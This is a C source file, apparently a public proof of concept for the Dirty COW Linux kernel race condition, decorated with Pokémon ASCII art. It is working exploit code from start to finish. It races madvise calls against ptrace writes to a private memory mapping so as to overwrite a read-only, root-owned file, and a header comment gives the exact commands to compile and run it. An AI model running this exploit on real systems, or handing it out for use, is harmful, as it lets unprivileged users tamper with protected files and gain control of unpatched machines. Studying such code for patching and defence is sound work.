// $ echo pikachu|sudo tee pokeball;ls -l pokeball;gcc -pthread pokemon.c -o d;./d pokeball miltank;cat pokeball
#include <fcntl.h> //// pikachu
#include <pthread.h> //// -rw-r--r-- 1 root root 8 Apr 4 12:34 pokeball
#include <string.h> //// pokeball
#include <stdio.h> //// (___)
#include <stdint.h> //// (o o)_____/
#include <sys/mman.h> //// @@ ` \
#include <sys/types.h> //// \ ____, /miltank
#include <sys/stat.h> //// // //
#include <sys/wait.h> //// ^^ ^^
#include <sys/ptrace.h> //// mmap bc757000
#include <unistd.h> //// madvise 0
////////////////////////////////////////////// ptrace 0
////////////////////////////////////////////// miltank
//////////////////////////////////////////////
int f ;// file descriptor
void *map ;// memory map
pid_t pid ;// process id
pthread_t pth ;// thread
struct stat st ;// file info
//////////////////////////////////////////////
void *madviseThread(void *arg) {// madvise thread
int i,c=0 ;// counters
for(i=0;i<200000000;i++)//////////////////// loop to 2*10**8
c+=madvise(map,100,MADV_DONTNEED) ;// race condition
printf("madvise %d\n\n",c) ;// sum of errors
}// /madvise thread
//////////////////////////////////////////////
int main(int argc,char *argv[]) {// entrypoint
if(argc<3)return 1 ;// ./d file contents
printf("%s \n\
(___) \n\
(o o)_____/ \n\
@@ ` \\ \n\
\\ ____, /%s \n\
// // \n\
^^ ^^ \n\
", argv[1], argv[2]) ;// dirty cow
f=open(argv[1],O_RDONLY) ;// open read only file
fstat(f,&st) ;// stat the fd
map=mmap(NULL ,// mmap the file
st.st_size+sizeof(long) ,// size is filesize plus padding
PROT_READ ,// read-only
MAP_PRIVATE ,// private mapping for cow
f ,// file descriptor
0) ;// zero
printf("mmap %lx\n\n",(unsigned long)map);// sum of error code
pid=fork() ;// fork process
if(pid) {// if parent
waitpid(pid,NULL,0) ;// wait for child
int u,i,o,c=0,l=strlen(argv[2]) ;// util vars (l=length)
for(i=0;i<10000/l;i++)//////////////////// loop to 10K divided by l
for(o=0;o<l;o++)//////////////////////// repeat for each byte
for(u=0;u<10000;u++)////////////////// try 10K times each time
c+=ptrace(PTRACE_POKETEXT ,// inject into memory
pid ,// process id
map+o ,// address
*((long*)(argv[2]+o))) ;// value
printf("ptrace %d\n\n",c) ;// sum of error code
}// otherwise
else {// child
pthread_create(&pth ,// create new thread
NULL ,// null
madviseThread ,// run madviseThred
NULL) ;// null
ptrace(PTRACE_TRACEME) ;// stat ptrace on child
kill(getpid(),SIGSTOP) ;// signal parent
pthread_join(pth,NULL) ;// wait for thread
}// / child
return 0 ;// return
}// / entrypoint
//////////////////////////////////////////////